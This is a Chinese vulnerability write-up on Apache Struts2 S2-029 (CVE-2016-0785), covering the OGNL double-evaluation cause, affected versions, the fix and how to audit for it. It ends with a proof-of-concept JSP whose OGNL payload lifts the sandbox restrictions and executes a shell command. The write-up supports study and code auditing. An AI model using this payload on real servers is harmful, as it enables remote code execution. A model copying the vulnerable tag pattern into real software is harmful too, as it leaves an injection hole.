(CVE-2016-0785)S2-029¶
一、漏洞简介¶
代码执行过程大致为先尝试获取value的值,如果value为空,那么就二次解释执行了name。并且在执行前给name加上了”%{}”。最终造成二次执行。因此需要的条件极为苛刻,特殊的代码,value值为空,可以传参到value,控制name,严格来说应该是个本地漏洞。
二、漏洞影响¶
Struts 2.0.0 - Struts 2.3.24.1(2.3.20.3除外)
三、复现过程¶
S2-029的公告说是可能的远程代码执行。而且依然是ognl导致的。
The Apache Struts frameworks performs double evaluation of attributes values assigned to certain tags so it is possible to pass in a value that will be evaluated again when a tag’s attributes will be rendered.
目前网上已经有一些成熟的参考的资料了。详见文末参考资料。这次的漏洞虽然是代码执行。但是风险不高,需要开发者使用了特定的代码写法才会导致漏洞。需要直接将用户提交的数据通过标签设置成属性值。
比如:
<s:i18n name="%{#request.lan}">xxxxx</s:i18n>
<set var="%{#parameters.tang3}"/>
通过%{#}
的方式获取用户输入放入标签属性,会导致代码执行。struts2的修复方式也是直接过滤了%{}
形式的字符串的ognl解析。
这段代码的修改用来处理掉了非%{开头,}结尾的字符串进行ognl解析的功能,这里我们来举个例子:bar%Ӑ+3},在修改之前的代码中2+3是会被作为ognl执行的。那么修改后,这种形式就只会被当做字符串来返回。
审计方式就是查看是否有%{#}
这种方式获取用户输入变量复制给标签属性的代码写法。
测试代码:
<%@page import="java.util.HashSet"%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head><title>Demo jsp page</title></head>
<body>
<%
request.setAttribute("lan", "'),#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('touch /tmp/1111'),new java.lang.String('");
%>
<s:i18n name="%{#request.lan}">xxxxx</s:i18n>
</body>
</html>
查看tmp目录文件已经生成。